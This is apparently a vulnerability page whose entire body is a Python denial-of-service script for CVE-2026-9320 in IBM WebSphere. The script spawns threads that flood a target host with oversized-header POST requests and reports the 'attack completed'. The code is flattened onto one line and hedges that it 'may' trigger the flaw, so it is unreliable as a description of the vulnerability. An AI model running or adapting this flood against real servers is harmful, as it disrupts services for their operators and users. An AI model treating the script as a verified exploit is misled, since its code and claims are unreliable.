CVE-2026-9320 IBM WebSphere Application Server 拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2026-9320 - IBM WebSphere Application Server Denial of Service PoC # This PoC demonstrates memory exhaustion by sending specially-crafted HTTP requests # Author: Security Research import socket import ssl import threading import time import sys TARGET_HOST = "TARGET_IP" TARGET_PORT = 9080 # Default WebSphere HTTP port (use 9443 for HTTPS) USE_HTTPS = False NUM_THREADS = 10 REQUESTS_PER_THREAD = 100 def craft_malicious_request(thread_id): """ Craft a specially-crafted HTTP request designed to trigger memory resource consumption in vulnerable WebSphere versions. The request contains oversized headers and nested parameters to exhaust server-side memory allocation. """ # Construct a request with large header values and complex nested parameters # that may trigger memory allocation issues in vulnerable code paths large_header_value = "A" * 8192 # Oversized header value nested_params = "&".join([f"param{i}={"B" * 1024}" for i in range(50)]) request = ( f"POST / HTTP/1.1\r\n" f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(nested_params)}\r\n" f"X-Custom-Header: {large_header_value}\r\n" f"X-Forwarded-For: {large_header_value[:4096]}\r\n" f"User-Agent: Mozilla/5.0 (CVE-2026-9320 PoC)\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"{nested_params}" ) for i in range(REQUESTS_PER_THREAD): try: if USE_HTTPS: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) else: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) sock.sendall(request.encode("utf-8")) response = sock.recv(4096) sock.close() print(f"[Thread-{thread_id}] Request {i+1}/{REQUESTS_PER_THREAD} sent") except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") time.sleep(0.5) def main(): print(f"[*] CVE-2026-9320 PoC - Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {NUM_THREADS} threads, {REQUESTS_PER_THREAD} requests each") threads = [] for t in range(NUM_THREADS): thread = threading.Thread(target=craft_malicious_request, args=(t,)) threads.append(thread) thread.start() time.sleep(0.1) for thread in threads: thread.join() print("[*] Attack completed. Check target server availability.") if __name__ == "__main__": main()